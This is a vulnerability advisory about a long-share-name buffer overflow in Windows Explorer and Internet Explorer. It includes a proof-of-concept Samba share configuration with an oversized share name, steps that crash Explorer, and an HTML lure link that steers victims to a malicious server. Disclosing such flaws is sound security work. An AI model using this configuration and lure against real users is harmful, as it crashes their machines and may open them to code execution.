Windows fails to handle long share names when accessing a remote file servers such as samba, allowing a malicious server to crash the clients explorer and the ability to execute arbitrary code in the machine as the current user (usually with Administrator rights on Windows machines). Verified to still work on IE 5.0.3700.1000 on Win2k SP4. The author originally notified Microsoft in early 2002.
732e3e74f77ebd64d1be72f860691364496a6715edd0d0138eaa48142e8c84ea
Microsoft Explorer and Internet Explorer Long Share Name Buffer Overflow.
Author: Rodrigo Gutierrez <rodrigo@intellicomp.cl>
Affected: MS Internet Explorer, MS Explorer (explorer.exe)
Windows XP(All), Windows 2000(All)
Not Tested: Windows 2003, Windows me, Windows 98, Windows 95
Vendor Status: i notified the vendor in the beginning of 2002, this
vulnerability was supposed to be fixed in xp service
pack 1 according to the vendors knowledge base article
322857.
Vendor url: http://support.microsoft.com/default.aspx?scid=kb;en-us;322857
Background.
MS Explorer (explorer.exe) and MS Internet Explorer(IEXPLORE.EXE) are
core pieces of Microsoft Windows Operating Systems.
Description
Windows fails to handle long share names when accessing a remote
file servers such as samba, allowing a malicious server to crash the
clients explorer and eventually get to execute arbitrary code in the
machine as the current user (usually with Administrator rights in windows
machines).
Analysis
In order to exploit this, an attacker must be able to get a user to connect
to a malicious server which contains a share name equal or longer than 300
characters, windows wont allow you to create such a share, but of course samba
includes the feature ;). After your samba box is up and running create a
share in you smb.conf :
#------------ CUT HERE -------------
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
comment = Area 51
path = /tmp/testfolder
public = yes
writable = yes
printable = no
browseable = yes
write list = @trymywingchung
#------------ CUT HERE -------------
After your server is up, just get to your windows test box and get to the
start menu > run > \\your.malicious.server.ip., plufff, explorer will crash
:).
Social Engineering:
<a href="\\my.malicious.server.ip">Enter My 0day sploit archive</a>
Workaround.
>From your network card settings disable the client for Microsoft networks
until a real fix for this vulnerability is available.